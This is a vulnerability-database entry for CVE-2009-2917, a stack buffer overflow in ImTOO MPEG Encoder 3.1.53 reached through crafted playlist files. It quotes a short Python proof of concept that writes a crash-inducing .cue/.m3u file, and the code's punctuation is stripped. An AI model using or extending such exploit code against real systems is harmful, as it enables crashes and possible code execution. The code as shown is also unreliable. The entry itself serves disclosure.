4.3
CVSSv2

CVE-2009-2917

Published: 21/08/2009 Updated: 19/09/2017
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 435
Vector: AV:N/AC:M/Au:N/C:N/I:N/A:P

Vulnerability Summary

Stack-based buffer overflow in ImTOO MPEG Encoder 3.1.53 allows remote malicious users to cause a denial of service (crash) or possibly execute arbitrary code via a crafted string in a (1) .cue or (2) .m3u playlist file.

Vulnerable Product Search on Vulmon Subscribe to Product

imtoo mpeg encoder 3.1.53

Exploits

#!/usr/bin/python print "ImTOO MPEG Encoder 3153 (cue/m3u) local stack overlow POC" print " finded by : opt!x hacker <optix@9cn> " print "download: wwwsoft32com/download/63-300154-1/mpeg-encoderexe " junk = "\x41"*4 # file=open("crashm3u","w") file=open("crashcue","w") filewrite(junk) fileclose() # milw0rmcom [2009-08-06] ...